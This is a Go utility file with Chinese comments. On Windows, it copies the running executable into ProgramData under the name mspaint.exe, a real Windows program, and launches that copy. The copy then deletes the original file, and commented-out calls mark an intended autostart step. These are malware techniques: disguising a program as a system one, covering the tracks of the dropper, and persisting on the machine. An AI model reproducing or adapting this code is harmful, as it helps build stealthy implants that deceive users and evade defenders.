package util

import (
	"fmt"
	"io"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
)

// 删除原有的exe文件
func delPreExe() {
	if len(os.Args) > 1 {
		err := os.Chmod(os.Args[1], 0777)
		if err != nil {
			fmt.Println(err)
			return
		}
		err = os.Remove(os.Args[1])
		if err != nil {
			fmt.Println(err)
		}
	}
}

func DelPreFile() {
	if runtime.GOOS == "windows" {
		targetPath := os.Getenv("systemdrive") + "\\ProgramData\\"
		targetFile := targetPath + "mspaint.exe"
		os.Mkdir(targetPath, os.ModePerm)

		//获取当前文件执行的绝对路径
		currentFile, _ := exec.LookPath(os.Args[0])
		currentFileAbs, _ := filepath.Abs(currentFile)

		// 如果当前执行都文件是复制后的目标文件，
		if currentFileAbs == targetFile {
			// 删除原有文件
			delPreExe()
		} else {
			// 如果当前执行不是目标路径的文件
			//设定一个目标文件信息
			_, err := os.Stat(targetFile)
			if err != nil {
				//创建目标文件
				desFile, err := os.Create(targetFile)
				if err != nil {
					fmt.Println(err)
				}
				// 打开源文件
				srcFile, _ := os.Open(currentFile)
				//copy源文件的内容到目标文件
				_, err = io.Copy(desFile, srcFile)
				if err != nil {
					fmt.Println(err)
				}

				//设定目标文件权限 0777, 这样才可以启动
				err = os.Chmod(targetFile, 0777)
				if err != nil {
					fmt.Println(err)
				}
				//不能使用 defer desFile.Close(), 需要在执行前关闭文件句柄
				srcFile.Close()
				desFile.Close()
				// vbs.InstallStart() //自启动
				// start 启动目标程序,进程不需要等待交互
				Command(targetFile, currentFileAbs)
			} else {
				// vbs.InstallStart() //自启动
				// 如果文件已经存在，start 启动目标程序,进程不需要等待交互
				Command(targetFile, currentFileAbs)
			}
		}
	}

}
